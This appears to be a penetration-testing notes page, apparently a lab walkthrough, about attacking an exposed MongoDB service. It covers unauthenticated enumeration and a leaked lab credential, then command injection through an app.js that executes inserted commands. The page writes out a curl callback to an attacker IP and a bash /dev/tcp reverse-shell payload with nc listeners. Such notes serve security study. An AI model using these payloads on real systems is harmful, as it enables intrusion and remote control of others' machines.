> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ports-and-services/mongodb-27017.md).
# MongoDB - 27017
MongoDB unauthenticated access, database enumeration, command injection through app.js, and reverse shell execution.
### MongoDB Enumeration
Connect to the MongoDB database on port 27017:
```bash
mongo
show dbs
use blog
show tables
db.users.find()
```
* user: admin
* password: IppsecSaysPleaseSubscribe
### MongoDB RCE
The `app.js` script executes system commands from MongoDB documents through `doc.cmd`. This is a critical vulnerability because arbitrary commands can be injected and executed.
Confirm command execution through MongoDB.
**Create a local web server**
On the attacking machine, launch a web server to observe the requests:
```bash
python3 -m http.server 80
```
**Insert a test command into the `tasks` collection**
In MongoDB, insert a command that makes an HTTP request to the attacking machine:
```bash
db.tasks.insert({ cmd: "curl http://10.10.14.30"})
```
**Observe requests**
If you see a request in the web server logs, this confirms that the commands are executed.
Set up a reverse shell and listen on port 443:
```bash
nc -nlvp 443
```
#### Launch a reverse shell
**Configure a listener on port 443** On the attacking machine:
```bash
nc -nlvp 443
```
**Insert a reverse shell command**
In MongoDB, insert a command to establish a reverse shell:
```bash
db.tasks.insert({ cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```
**Connection successful** Once the command is executed, you get an interactive shell on the target machine under user **tom**.
---
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